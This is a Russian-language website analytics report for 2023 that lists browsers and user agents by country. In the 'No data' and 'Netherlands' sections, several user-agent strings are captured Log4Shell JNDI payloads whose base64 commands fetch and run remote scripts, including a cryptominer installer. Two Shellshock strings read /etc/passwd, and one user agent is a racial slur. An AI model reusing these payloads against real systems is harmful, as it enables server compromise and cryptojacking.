Отчет для 2023: Браузеры
Период отчета:  
Отчет создан в Вс Янв 07, 2024 - 13:57:04

Браузеры и страны

Браузеры и страны
Браузер Хиты Посетители % от всех посетителей
США
1 Google Chrome 128 348 9 482 40,79%
2 Другие 7 873 2 893 12,44%
3 Firefox 6 730 2 578 11,09%
4 Safari 12 237 2 416 10,39%
5 Mozilla/5.0 zgrab/0.x 1 628 1 233 5,30%
6 Opera 1 197 639 2,75%
7 Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) 1 042 521 2,24%
8 ZoominfoBot (zoominfobot at zoominfo dot com) 2 537 469 2,02%
9 Go-http-client/1.1 1 226 412 1,77%
10 Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com 262 262 1,13%
11 Mobile Safari 424 241 1,04%
12 python-requests/2.31.0 351 228 0,98%
13 Mozilla/5.0 194 186 0,80%
14 python-requests/2.28.2 230 172 0,74%
15 Microsoft Edge 350 126 0,54%
16 Python/3.8 aiohttp/3.8.6 120 114 0,49%
17 Linux Gnu (cow) 88 88 0,38%
18 python-requests/2.27.1 492 79 0,34%
19 Android Browser 195 73 0,31%
20 masscan/1.3 (https://github.com/robertdavidgraham/masscan) 70 70 0,30%
21 Internet Explorer 100 65 0,28%
22 Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.0; +https://openai.com/gptbot) 931 55 0,24%
23 my-tiny-bot 4 251 44 0,19%
24 python-requests/2.28.1 63 37 0,16%
25 'Cloud mapping experiment. Contact research@pdrlabs.net' 246 31 0,13%
26 thesis-research-bot 352 30 0,13%
27 DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html) 38 28 0,12%
28 webprosbot/2.0 (+mailto:abuse-6337@webpros.com) 42 26 0,11%
29 test 61 26 0,11%
30 CCBot/2.0 (https://commoncrawl.org/faq/) 448 25 0,11%
31 Mozilla/5.0 (compatible; tchelebi/1.0; +http://tchelebi.io) 23 23 0,10%
32 axios/0.27.2 29 22 0,09%
33 curl/8.1.2 21 21 0,09%
34 curl/7.54.0 330 21 0,09%
35 python-requests/2.25.1 32 19 0,08%
36 Hello, world 16 16 0,07%
37 ClaudeBot 28 14 0,06%
38 Hello World 16 13 0,06%
39 fasthttp 25 13 0,06%
40 Mozilla/5.0 (compatible; version/1.0; Windows NT 5.1 28 13 0,06%
41 l9tcpid/v1.1.0 13 13 0,06%
42 masscan/1.0 (https://github.com/robertdavidgraham/masscan) 12 12 0,05%
43 anthropic-ai 33 11 0,05%
44 Mozilla/5.0 (l9scan/2.0.238313e2333323e2634313e26343; +https://leakix.net) 10 10 0,04%
45 Mozilla/5.0 (compatible; ImagesiftBot; +imagesift.com) 20 10 0,04%
46 curl/7.58.0 9 9 0,04%
47 test-bot 257 9 0,04%
48 curl/7.61.1 9 9 0,04%
49 curl/7.47.0 7 7 0,03%
50 Chrome 7 7 0,03%
Россия
1 Google Chrome 162 594 10 119 44,22%
2 Другие 17 147 4 383 19,15%
3 Firefox 27 242 4 305 18,81%
4 Mobile Safari 8 346 1 297 5,67%
5 Opera 17 807 1 264 5,52%
6 Mozilla/5.0 (compatible; vkShare; +http://vk.com/dev/Share) 192 192 0,84%
7 Mozilla/5.0 (keys-so-bot) 182 180 0,79%
8 Internet Explorer 876 163 0,71%
9 Safari 3 667 158 0,69%
10 Microsoft Edge 1 498 60 0,26%
11 Go-http-client/1.1 88 53 0,23%
12 OdklBot/1.0 (share@odnoklassniki.ru) 52 52 0,23%
13 python-requests/2.25.1 52 46 0,20%
14 Mozilla/5.0 (compatible; statdom.ru/Bot; +http://statdom.ru/bot.html) 253 29 0,13%
15 Mozilla/5.0 zgrab/0.x 29 29 0,13%
16 Android Browser 59 23 0,10%
17 Mozilla/5.0 37 20 0,09%
18 Mozilla/5.0 (compatible; LetsearchBot/1.0; +https://letsearch.ru/bots) 17 17 0,07%
19 curl/7.29.0 17 17 0,07%
20 Mozilla/5.0 (compatible; Konturbot/1.2; +http://kontur.ru; cargo@kontur.ru) 32 16 0,07%
21 curl/7.54.0 1 963 15 0,07%
22 Mozilla/5.0 (compatible; OdklBot/1.0 like Linux; klass@odnoklassniki.ru) 21 13 0,06%
23 Mozilla/5.0 (compatible; StatOnlineRuBot/1.0) 11 11 0,05%
24 Linux Gnu (cow) 10 9 0,04%
25 WordPress/6.1.1; http://info-imya.ru 21 8 0,03%
26 OKAndroid/22.7.11 b22071100 (Android 11; ru_RU; samsung SM-A505FN Build/RP1A.200720.012.A505FNPUS9CWA1; 420dpi 420dpi 1080x2131) 10 8 0,03%
27 Hello, world 7 7 0,03%
28 WordPress/6.1.1; http://fioscan.ru 7 6 0,03%
29 WordPress/6.1.1; http://krasivoe-foto.ru 5 5 0,02%
30 Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.7.7.492.10 YaApp_iOS/2307.7 YaApp_iOS_Browser/2307.7 Safari/604.1 SA/3 12 5 0,02%
31 Mozilla/4.0 (compatible; MS FrontPage 6.0) 36 4 0,02%
32 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) 11 4 0,02%
33 Python/3.9 aiohttp/3.8.5 4 4 0,02%
34 OKModeration 4 4 0,02%
35 WordPress/6.1.1; http://foto-besplatno.ru 4 4 0,02%
36 WordPress/6.1.1; http://name-scan.ru 5 4 0,02%
37 WordPress/6.1.1; http://foto-na-telefon.ru 5 4 0,02%
38 curl/7.58.0 4 4 0,02%
39 Hello, World 4 4 0,02%
40 python-requests/2.28.2 12 4 0,02%
41 MSFrontPage/6.0 14 4 0,02%
42 python-requests/2.31.0 4 4 0,02%
43 Hello World 4 4 0,02%
44 Microsoft Data Access Internet Publishing Provider Protocol Discovery 18 3 0,01%
45 MobileSafari/604.1 CFNetwork/978.0.7 Darwin/18.7.0 30 3 0,01%
46 ViberUrlDownloader 4 3 0,01%
47 python-requests/2.21.0 5 3 0,01%
48 python-requests/2.18.4 6 3 0,01%
49 Mozilla/5.0 (iPhone; CPU iPhone OS 16_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.7.6.434.10 YaApp_iOS/2307.6 YaApp_iOS_Browser/2307.6 Safari/604.1 SA/3 7 3 0,01%
50 WordPress/6.1.1; http://2023-foto.ru 3 3 0,01%
Китай
1 Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot) 14 637 13 275 70,49%
2 Google Chrome 4 734 1 568 8,33%
3 Mozilla/5.0 (compatible;PetalBot;+https://webmaster.petalsearch.com/site/petalbot) 1 180 1 180 6,27%
4 Mobile Safari 865 864 4,59%
5 Firefox 904 522 2,77%
6 Другие 839 510 2,71%
7 Hello, world 130 129 0,69%
8 Apache-HttpClient/4.5.2 (Java/1.8.0_151) 2 238 119 0,63%
9 Apache-HttpClient/4.5.2 (Java/1.8.0_161) 2 159 118 0,63%
10 Mozilla/5.0 100 96 0,51%
11 Opera 117 69 0,37%
12 HTTP Banner Detection (https://security.ipip.net) 36 36 0,19%
13 Apache-HttpClient/4.5.2 (Java/1.8.0_351) 224 31 0,16%
14 Hello, World 31 31 0,16%
15 Internet Explorer 49 27 0,14%
16 Go-http-client/1.1 40 27 0,14%
17 Apache-HttpClient/4.5.2 (Java/1.8.0_361) 185 26 0,14%
18 Safari 57 23 0,12%
19 Python/3.6 aiohttp/3.8.3 35 21 0,11%
20 Linux Gnu (cow) 16 16 0,08%
21 curl/7.29.0 15 15 0,08%
22 Microsoft Edge 22 14 0,07%
23 curl/7.58.0 14 14 0,07%
24 python-requests/2.28.2 13 13 0,07%
25 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) 10 10 0,05%
26 Dalvik/2.1.0 (Linux; U; Android 9.0; ZTE BA520 Build/MRA58K) 12 8 0,04%
27 python-requests/2.25.1 7 7 0,04%
28 Mozilla/5.0 (linux; u; android 9; zh-cn; v1816a build/pkq1.180819.001) applewebkit/537.36 (khtml, like gecko) version/4.0 chrome/57 13 7 0,04%
29 Android Browser 10 6 0,03%
30 Apache-HttpClient/4.5.2 (Java/1.8.0_321) 64 5 0,03%
31 curl/7.64.1 3 3 0,02%
32 "Mozilla/5.0 3 3 0,02%
33 curl/7.68.0 3 3 0,02%
34 "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML 2 2 0,01%
35 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) 4 2 0,01%
36 Hello, Momentum 2 2 0,01%
37 Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.9.3.505.10 YaApp_iOS/2309.3 YaApp_iOS_Browser/2309.3 Safari/604.1 SA/3 2 2 0,01%
38 UCWEB/2.0 (Java; U; MIDP-2.0; Nokia203/20.37) U2/1.0.0 UCMini/11.5.2.1188 (SpeedMode; Proxy; Android 8.0.0; AS-5433_Secret ) U2/1.0.0 Mobile 1 1 0,01%
39 Wget 1 1 0,01%
40 python-requests/2.17.3 1 1 0,01%
41 python-httpx/0.23.0 3 1 0,01%
42 python-requests/2.27.1 1 1 0,01%
43 python-requests/2.22.0 1 1 0,01%
44 curl/7.83.0 4 1 0,01%
45 curl/7.75.0 2 1 0,01%
46 libcurl-agent/7.19.0 1 1 0,01%
47 fasthttp 2 1 0,01%
48 Apache-HttpClient/4.5.2 (Java/1.8.0_171) 21 1 0,01%
49 Apache-HttpClient/4.5.2 (Java/1.8.0_131) 1 1 0,01%
50 Gecko/20100815 Minefield/4.0b4pre 1 1 0,01%
Нет данных
1 Google Chrome 30 859 3 661 52,05%
2 Firefox 6 598 951 13,52%
3 Другие 1 647 777 11,05%
4 ALittle Client 232 224 3,18%
5 Hello World 208 200 2,84%
6 Go-http-client/1.1 246 195 2,77%
7 Linux Gnu (cow) 119 117 1,66%
8 Opera 1 990 113 1,61%
9 Mozilla/5.0 (keys-so-bot) 99 99 1,41%
10 Android Browser 185 86 1,22%
11 Mobile Safari 167 78 1,11%
12 Mozilla/5.0 zgrab/0.x 56 54 0,77%
13 Safari 245 43 0,61%
14 Internet Explorer 110 41 0,58%
15 python-requests/2.31.0 43 41 0,58%
16 Mozila/5.0 38 38 0,54%
17 python-requests/2.28.2 29 29 0,41%
18 Microsoft-WebDAV-MiniRedir/6.1.7601 328 28 0,40%
19 Mozilla/5.0 (compatible; tchelebi/1.0; +http://tchelebi.io) 24 24 0,34%
20 Microsoft Edge 45 24 0,34%
21 Microsoft-WebDAV-MiniRedir/5.1.2600 218 20 0,28%
22 Hello, world 20 18 0,26%
23 DavClnt 18 18 0,26%
24 Mozilla/5.0 91 12 0,17%
25 Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html) 17 12 0,17%
26 Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/) 25 9 0,13%
27 Abcd 16 8 0,11%
28 python-requests/2.28.1 6 6 0,09%
29 python-requests/2.23.0 4 4 0,06%
30 NiggaBalls 4 4 0,06%
31 Python/3.7 aiohttp/3.7.4.post0 8 4 0,06%
32 python-requests/2.27.1 3 3 0,04%
33 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Whale/3.2.79.24 3 3 0,04%
34 CATExplorador/1.0beta (sistemes at domini dot cat; https://domini.cat/catexplorador/) 3 3 0,04%
35 WinInet 3 3 0,04%
36 curl/7.29.0 2 2 0,03%
37 curl/7.79.1 2 2 0,03%
38 node-libcurl/3.0.0 2 2 0,03%
39 masscan/1.3 (https://github.com/robertdavidgraham/masscan) 2 2 0,03%
40 Mozilla 4 2 0,03%
41 t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}/ /129.151.84.124:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTM0LjY1LjYyLjY0 Ly5jb25maWcvemxpYjQ1IDsgY3VybCAtTyBodHRwOi8vMTM0LjY1LjYyLjY0Ly5jb25maWcvemxpYjQ1I DsgY2htb2QgK3ggemxpYjQ1IDsgY2htb2QgNzc3IHpsaWI0NSA7IC4vemxpYjQ1IDIgOyBzdWRvIC4vem xpYjQ1IDIgOyBybSAtcmYgemxpYjQ1OyBjdXJsIGh0dHA6Ly8xMjkuMTUxLjY0LjU1L2FyY2gvJCh1bmF tZSAtbSkvdXNlci8kKHdob2FtaSk7IHN1ZG8gY3VybCBodHRwOi8vMTI5LjE1MS42NC41NS9hcmNoLyQo dW5hbWUgLW0pL3VzZXIvJCh3aG9hbWkp}') 2 2 0,03%
42 t('${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-: }//45.152.113.109:1389/TomcatBypass/Command/Base64/ Y3VybCAtcyAtTCBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQzNQb29sL3htcmlnX3Nld HVwL21hc3Rlci9zZXR1cF9jM3Bvb2xfbWluZXIuc2ggfCBiYXNoIC1zIDQ4Nnhxdzd5c1hkS3c3UmtWel Q1dGRTaUR0RTZzb3hVZFlhR2FHRTFHb2FDZHZCRjdyVmc1b01YTDlwRngzckIxV1VDWnJKdmQ2QUhNRld pcGVZdDVlRk5VeDlwbUdO}') 2 2 0,03%
43 QAD1TZ HTTP AGENT 8 2 0,03%
44 trafilatura/1.6.1 (+https://github.com/adbar/trafilatura) 2 2 0,03%
45 Dark 2 2 0,03%
46 "() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'" 2 2 0,03%
47 () { :; }; echo ; echo ; /bin/cat /etc/passwd 3 2 0,03%
48 AVAYA 4 2 0,03%
49 xfa1 2 2 0,03%
50 RepoLookoutBot/v1.1.0-282-g883dd6b (abuse reports to abuse@repo-lookout.org) 1 1 0,01%
Швейцария
1 Hello World 2 619 2 604 83,92%
2 Firefox 357 294 9,47%
3 Google Chrome 231 44 1,42%
4 Другие 79 36 1,16%
5 Linux Gnu (cow) 29 29 0,93%
6 Go-http-client/1.1 34 28 0,90%
7 Android Browser 20 10 0,32%
8 Mozilla/5.0 zgrab/0.x 6 6 0,19%
9 Mobile Safari 8 6 0,19%
10 Opera 8 5 0,16%
11 Mozila/5.0 5 5 0,16%
12 Mozilla/5.0 (Windows NT 10.0; Win64; x64) 119 4 0,13%
13 TheSafeInternetSearch 4 4 0,13%
14 Internet Explorer 5 3 0,10%
15 Safari 4 3 0,10%
16 Python-urllib/3.7 2 2 0,06%
17 NetSurf/1.2 (NetBSD; amd64) 1 1 0,03%
18 node-fetch/1.0 (+https://github.com/bitinn/node-fetch) 1 1 0,03%
19 python-requests/2.31.0 112 1 0,03%
20 Nokia6230/2.0 (04.44) Profile/MIDP-2.0 Configuration/CLDC-1.1 1 1 0,03%
21 WebCopier v4.6 1 1 0,03%
22 SeaMonkey 1 1 0,03%
23 Wget 1 407 1 0,03%
24 Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.1.4.422.10 YaApp_iOS/2301.4 YaApp_iOS_Browser/2301.4 Safari/604.1 SA/3 1 1 0,03%
25 Gregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua) 2 1 0,03%
26 Keybot Translation-Search-Machine 998 1 0,03%
27 KrebsOnSecurity 1 1 0,03%
28 Gecko/20040924 Epiphany/1.4.4 (Ubuntu) 1 1 0,03%
29 Gecko/2008072421 Minefield/3.0.2pre 1 1 0,03%
30 Gecko/20110308 Namoroka/3.6.15 1 1 0,03%
31 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Flipboard/4.2.142 1 1 0,03%
32 Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es65 1 1 0,03%
33 Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/7.0.4(0x17000428) NetType/WIFI Language/zh_CN 1 1 0,03%
34 MOT-V177/0.1.75 UP.Browser/6.2.3.9.c.12 (GUI) MMP/2.0 UP.Link/6.3.1.13.0 1 1 0,03%
35 Mozilla/4.0 (compatible; Dillo 3.0) 1 1 0,03%
36 Mozilla/5.0 (Linux; webOS/2.2.4; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) webOSBrowser/221.56 Safari/534.6 Pre/3.0 1 1 0,03%
Германия
1 Google Chrome 2 512 1 068 44,24%
2 Firefox 783 538 22,29%
3 Другие 246 181 7,50%
4 Go-http-client/1.1 640 146 6,05%
5 Mozilla/5.0 (compatible; DataForSeoBot/1.0; +https://dataforseo.com/dataforseo-bot) 6 300 55 2,28%
6 Linux Gnu (cow) 52 52 2,15%
7 Mozilla/5.0 (Windows NT 10.0; Win64; x64) 700 51 2,11%
8 Mozila/5.0 48 48 1,99%
9 Opera 47 32 1,33%
10 Mozilla/5.0 zgrab/0.x 32 29 1,20%
11 Mobile Safari 50 21 0,87%
12 serpstatbot/2.1 (advanced backlink tracking bot; https://serpstatbot.com/; abuse@serpstatbot.com) 9 577 21 0,87%
13 Safari 121 18 0,75%
14 Android Browser 32 16 0,66%
15 Internet Explorer 21 16 0,66%
16 Mozilla/5.0 (compatible; AwarioBot/1.0; +https://awario.com/bots.html) 582 16 0,66%
17 python-requests/2.21.0 11 8 0,33%
18 python-requests/2.25.1 8 8 0,33%
19 python-requests/2.28.2 30 7 0,29%
20 2ip bot/1.1 (+http://2ip.io) 21 7 0,29%
21 webprosbot/2.0 (+mailto:abuse-6337@webpros.com) 12 7 0,29%
22 BSbot 1.1 (monthly copyright check - html/js/css) 6 6 0,25%
23 Gecko/2008070208 6 6 0,25%
24 python-requests/2.27.1 7 6 0,25%
25 python-requests/2.31.0 6 5 0,21%
26 Abcd 10 5 0,21%
27 curl/7.58.0 4 4 0,17%
28 Mozilla/5.0 6 4 0,17%
29 Microsoft Edge 7 3 0,12%
30 python-requests/2.28.1 3 3 0,12%
31 curl/7.47.0 3 2 0,08%
32 Mozilla 2 2 0,08%
33 Hello, world 2 2 0,08%
34 curl/7.54.0 49 1 0,04%
35 curl/8.3.0 1 1 0,04%
36 masscan/1.3 (https://github.com/robertdavidgraham/masscan) 1 1 0,04%
37 curl/7.88.1 1 1 0,04%
38 curl/7.68.0 2 1 0,04%
39 curl/7.85.0 5 1 0,04%
40 MobileSafari/8615.3.12.10.2 CFNetwork/1410.0.3 Darwin/22.6.0 10 1 0,04%
41 Mozilla/5.0 (SymbianOS/9.1; U; de) AppleWebKit/413 (KHTML, like Gecko) Safari/413 1 1 0,04%
42 Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE90-1/07.24.0.3; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.2.3.18.0 1 1 0,04%
43 LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 1 1 0,04%
44 Bing 1 1 0,04%
45 BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105 1 1 0,04%
46 Chrome 1 1 0,04%
47 Mozilla/5.0 (Windows NT 6.1; WOW64; Host: aviacity.net) 1 1 0,04%
48 Mozilla/5.0 zgrab/0.x (compatible; Researchscan/http; +http://researchscan.comsys.rwth-aachen.de) 1 1 0,04%
49 Pandalytics/1.0 (https://domainsbot.com/pandalytics/) 1 1 0,04%
50 curl/7.29.0 3 1 0,04%
Канада
1 Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com 1 074 1 074 47,02%
2 Другие 794 659 28,85%
3 Google Chrome 795 299 13,09%
4 Firefox 191 103 4,51%
5 Opera 64 34 1,49%
6 Mozilla/5.0 (compatible; Dataprovider.com) 225 26 1,14%
7 Safari 78 16 0,70%
8 Tumblr/14.0.835.186 16 16 0,70%
9 Mobile Safari 14 13 0,57%
10 Mozilla/5.0 9 9 0,39%
11 curl/7.29.0 5 5 0,22%
12 Android Browser 4 4 0,18%
13 Microsoft Edge 3 3 0,13%
14 curl/7.54.0 3 3 0,13%
15 python-requests/2.28.2 7 3 0,13%
16 Linux Gnu (cow) 2 2 0,09%
17 python-requests/2.6.0 CPython/2.7.5 Linux/3.10.0-1160.102.1.el7.x86_64 14 2 0,09%
18 picTrove/287 CFNetwork/1240.0.4 Darwin/20.6.0 1 1 0,04%
19 python-requests/2.28.1 2 1 0,04%
20 hGo-http-client/6.6.6 (+https://github.com/x0xO/hhttp) 1 1 0,04%
21 hg-http-client/6.6.6 (+https://github.com/x0xO/hg) 1 1 0,04%
22 MobileSafari/600.1.4 CFNetwork/711.1.12 Darwin/14.0.0 1 1 0,04%
23 Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8 1 1 0,04%
24 Hello, world 1 1 0,04%
25 Internet Explorer 1 1 0,04%
26 Bloglines/3.1 (http://www.bloglines.com) 1 1 0,04%
27 Python-urllib/3.11 1 1 0,04%
28 Roku/DVP-9.10 (289.10E04111A) 1 1 0,04%
29 Mozilla/5.0 zgrab/0.x 1 1 0,04%
30 Peach/1.01 (Ubuntu 8.04 LTS; U; en) 1 1 0,04%
Франция
1 Google Chrome 2 211 390 39,31%
2 Firefox 682 226 22,78%
3 Другие 84 80 8,06%
4 Opera 108 46 4,64%
5 aragna.net_bot 51 45 4,54%
6 python-urllib3/1.26.9 174 39 3,93%
7 Safari 37 27 2,72%
8 Mobile Safari 55 23 2,32%
9 Microsoft Edge 37 14 1,41%
10 Android Browser 38 13 1,31%
11 cpp-httplib/0.10.9 16 12 1,21%
12 curl/7.81.0 10 10 1,01%
13 Go-http-client/1.1 10 9 0,91%
14 curl/7.64.0 7 7 0,71%
15 Hello World 6 6 0,60%
16 Linux Gnu (cow) 5 5 0,50%
17 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML 12 4 0,40%
18 python-requests/2.27.1 9 3 0,30%
19 curl 3 3 0,30%
20 Java/1.8.0_371 3 3 0,30%
21 python-requests/2.31.0 3 3 0,30%
22 Mozilla/5.0 zgrab/0.x 2 2 0,20%
23 Mozilla 2 2 0,20%
24 Internet Explorer 2 2 0,20%
25 xfa1 2 2 0,20%
26 python-requests/2.28.1 2 2 0,20%
27 curl/8.4.0 1 1 0,10%
28 webprosbot/2.0 (+mailto:abuse-6337@webpros.com) 1 1 0,10%
29 python-requests/2.28.2 1 1 0,10%
30 curl/7.58.0 1 1 0,10%
31 Mozilla/5.0 (compatible; SeekportBot; +https://bot.seekport.com) 1 347 1 0,10%
32 Mozilla/5.0 (iPhone; CPU iPhone OS 15_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GSA/231.0.475926209 Mobile/15E148 Safari/604.1 1 1 0,10%
33 CCBot/2.0 (+http://www.commoncrawl.org/bot.html) 2 1 0,10%
34 0 17 1 0,10%
35 BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105 2 1 0,10%
36 Nokia7250/1.0 (3.14) Profile/MIDP-1.0 Configuration/CLDC-1.0 1 1 0,10%
37 condi-bbos 1 1 0,10%
38 Mozilla/5.0 (iPhone; CPU iPhone OS 16_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.5.1.279.10 YaApp_iOS/2305.1 YaApp_iOS_Browser/2305.1 Safari/604.1 SA/3 2 1 0,10%
39 Mozilla/5.0 (iPhone; CPU iPhone OS 16_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.3.2.421.10 YaApp_iOS/2303.2 YaApp_iOS_Browser/2303.2 Safari/604.1 SA/3 1 1 0,10%
40 Mozilla/5.0 (iPhone; CPU iPhone OS 16_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 YaBrowser/23.5.3.376.10 YaApp_iOS/2305.3 YaApp_iOS_Browser/2305.3 Safari/604.1 SA/3 1 1 0,10%
Нидерланды
1 Google Chrome 1 464 289 33,18%
2 Другие 618 179 20,55%
3 Firefox 257 118 13,55%
4 masscan/1.3 (https://github.com/robertdavidgraham/masscan) 63 51 5,86%
5 Hello World 38 38 4,36%
6 Linux Gnu (cow) 33 32 3,67%
7 Go-http-client/1.1 25 24 2,76%
8 Mobile Safari 24 19 2,18%
9 Opera 25 16 1,84%
10 Internet Explorer 13 12 1,38%
11 Mozilla/5.0 zgrab/0.x 17 11 1,26%
12 Safari 14 9 1,03%
13 Mozilla/5.0 8 8 0,92%
14 t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}/ /5.255.109.233:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8f CBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzQ3Ljg3LjE5OS44OC9ha3R1YW xpc2llcmVuLnNoIC1vIGFrdHVhbGlzaWVyZW4uc2g7IHdnZXQgaHR0cDovLzQ3Ljg3LjE5OS44OC9ha3R 1YWxpc2llcmVuLnNoOyBjaG1vZCA3NzcgYWt0dWFsaXNpZXJlbi5zaDsgc2ggYWt0dWFsaXNpZXJlbi5z aDsgcm0gLXJmIGFrdHVhbGlzaWVyZW4uc2g7IHJtIC1yZiBha3R1YWxpc2llcmVuLnNoLjE=}') 8 8 0,92%
15 Android Browser 19 7 0,80%
16 t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}/ /5.255.109.219:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8f CBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzIzLjE0Ny4yMjcuMjEwL2FrdH VhbGlzaWVyZW4uc2ggLW8gYWt0dWFsaXNpZXJlbi5zaDsgd2dldCBodHRwOi8vMjMuMTQ3LjIyNy4yMTA vYWt0dWFsaXNpZXJlbi5zaDsgY2htb2QgNzc3IGFrdHVhbGlzaWVyZW4uc2g7IHNoIGFrdHVhbGlzaWVy ZW4uc2g7IHJtIC1yZiBha3R1YWxpc2llcmVuLnNoOyBybSAtcmYgYWt0dWFsaXNpZXJlbi5zaC4x}') 5 5 0,57%
17 python-requests/2.28.1 4 4 0,46%
